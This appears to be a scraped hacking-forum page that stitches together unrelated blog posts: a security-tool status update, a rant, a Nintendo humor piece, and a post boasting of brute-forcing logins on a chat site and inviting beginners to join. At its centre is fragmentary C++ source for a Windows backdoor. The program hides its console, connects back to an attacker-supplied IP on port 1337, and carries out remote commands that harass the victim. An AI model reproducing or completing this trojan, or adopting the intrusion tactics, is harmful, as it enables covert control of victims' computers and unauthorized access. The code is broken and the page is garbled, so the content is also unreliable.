Current OFACE status

I'd figure I'd pop in and chat a bit about OFACE at this point. One of the things that was stopping me from finalizing an alpha and over time became the Moby Dick to my Captain Ahab were my attempts to find a non-GUI equivalent to TDSSKiller. After discussing the matter with RaT however, I have made the difficult decision to move forward without this for the time being. I will be piecing everything together when availability permits as I am only able to work on this on an after hours basis at this point. Once an alpha is tested as working and released, I will discuss future plans for the further development of OFACE with RaT.


Based on What people foolish enough to use this site are thinking....

im mad so i bloged about it!

i got so mad on irc i decided i needed to seek help so i called thats right SUE BASKO!


#undef  _WIN32_WINNT //For hiding/showing window
#define _WIN32_WINNT 0x0500
#include <windows.h> //Required for socket init
#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>

using namespace std;

//function declaration prototypes
void crazyMouse(BOOL cmProc);
void Matrix(BOOL pwnProc);
char procCmd(char buff[200], SOCKET * fSocket);
void PoP(char message[200]);

// static variables (Dont know why i did this)
static BOOL pwnProc = false;
static BOOL pop = false;

//pointer to socket
SOCKET * pSock;
//for matrix
HWND hWnd = GetConsoleWindow();

int main(){
    // First thing we want to do is make sure that our console is in-fucking-visible
ShowWindow( hWnd, SW_HIDE );

//Begin winsock chunk
char buf[256];
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0
int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implement
if(nret != 0){ //Init failed
/*A successful return value should be 0 */
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup Winsock library
return -1;
std::cout<<"Init success\n";
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
std::cout<<"Socket initialized\n";
sockaddr_in sin;

//****PORT HERE****
sin.sin_port=htons(1337); //Connect to port 1337
//****PORT HERE****

////////////***************IP HERE////////////***************
sin.sin_addr.s_addr=inet_addr(""); //Connect to this ip (Should be your ip, so the victim connects to you )
////////////***************IP HERE////////////***************

if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ //Check the condition
std::cout<<"Connect failed, error: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup the library
return -1;
std::cout<<"Connection successful!\n";

//    ^^^^^^^^^^^^ The program will always come back here to re-receive and re-compare commands.
pSock = &kSock;
// |
// v
//Back down
while (recv(kSock, buf, sizeof(buf), 0)){  //while the command is received
procCmd(buf,pSock); //push the received command into the procCmd function to be compared with a command list

//Back up
goto REC;
return 0;

/////////////// BEGIN COMMAND LIST /////////////////

//the procCmd fucntion means ProcessCommand and is responsible for handling commands.
// If you are going to add new commands to this program you should start here.

char procCmd(char buff[200], SOCKET* fSocket){

     // needs to be reinit'd cuz of cross function
     SOCKET kSock = *fSocket;

/* This is where the magic happens, the received commands are compared to a hard coded list of commands. If it recognizes a command, it is sent to the appropriate function (or just executed if the code is small). I initially added in character return values so i could resend them back to the server (me) to verify if a command was executed or not. I  never got around to it , maybe you can?*/

     if (pop == true){   /*Pop is a special command because it displays a message box on the users screen. So the command pop would first need to written, which would make pop==true. Once it's true, it will be expecteing another sub-command for the actual contents of the messagebox, this is why the server-side code needed to deal with the pop command, so that it could prompt the user to input a sub command, i dont know why i did it this way.*/
                          pop = false;
                          return '1';
     if (strcmp(buff,"pop")==0){
                          pop = true;
                          return '1';
      if (strcmp(buff,"end")==0){
      if (strcmp(buff,"-")==0){
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
     if (strcmp(buff,"+")==0){
                          ShowWindow( hWnd, SW_SHOW );
                          return '1';
     if (strcmp(buff,"pwn")==0){
                          return '1';
      if (strcmp(buff,"unpwn")==0){
                          //clean up
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
      if (strcmp(buff,"crazymouse")==0){
                          return '1';
      if (strcmp(buff,"uncrazy")==0){ //not working
                          return '1';
                        return '0';

/////////////// BEGIN EXECUTABLE FUNCTIONS ////////////////////////////

// Pop up message - Grim
void PoP(char message[200]){

/* this thing is really cute, it puts the dialog box into full screen and displays a bunch of green random texts like the matrix. If you want to stop it manually just press alt+enter to get out of fullscreen then close it.*/

// Matrix , total annhilation - Grim
void Matrix(BOOL pwnProc){
if (pwnProc==true) {
       // make sure its visible
ShowWindow( hWnd, SW_SHOW );      
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
     for(int i = 0; i < 1; i++)
int num = (rand() % 10);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";

for ( int j = 0; j < 5; j++)
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
goto START;
     //Crazy mouse - Grim
void crazyMouse(BOOL cmProc){
                  int x = rand()%1000;
                  int y = rand()%700;
                  SetCursorPos(x, y);
                          while (cmProc==true);

my first trial on

i had a serious surgery. during recovery i found a small java based wap site called upon playin i found it to be full of childmolesters hiding behind pixel avitars though i dont have the authority heheheh i have found myself cleaning up the corrupted site . removing and exposing the pedofiles is fun but now old tactics do not work . i have a list of t argets but i am stuck i cant seem to penetrate the server or brute force logins anymore. yes this is small potatoes to some but it is quite entertaining watching the chatroom cry Smile feel free to join in the fun it is great practice for beginning level starters.

Flair's blog site

Any new hints for newbies in the site maybe posted here if by any chance I get them. So if you are a script kid or a newbie and have a problem, you can post them here.



Amp Blasts: Nintendo

Notice: The following is a humor piece (partially based on my real opinions, but tuned up to AVGN levels of what the hell) and as always, the SX usage policy applies.

I know that the title of this alone is going to cause some rage with some people and I can see how. I myself have great memories of the NES and SNES. Both of these are great consoles. However, the reality is that the Nintendo that I knew and loved is dead. Today, I will explain why I feel this way.

The first major misstep happened in the fifth generation of game consoles with the N64. The reality is that partnering with SGI was a bad idea as they never did real-time graphics and the console's hardware limitations along with the complexity of developing games made it problematic. Add to it that a large portion of the games were pure and utter shit (Superman 64 being the most well known, but there are plenty of other games that outright sucked) and many of them featured some of the worst soundtracks I have ever heard in gaming history. The biggest beef I have is that people try to hail Goldeneye as ground breaking when the reality is that it was a slow, choppy, piece of shit with crap controls that was saved only by it's auto-aiming. (Also, people like iJustine's stupid ass in a shitty mentalfloss video, need to stop saying that it was the first game with multiplayer deathmatch as Doom had it years earlier!) The amount of good games for the N64 were few and far in between, something that would be true for all non-handheld consoles for them from that point forward.

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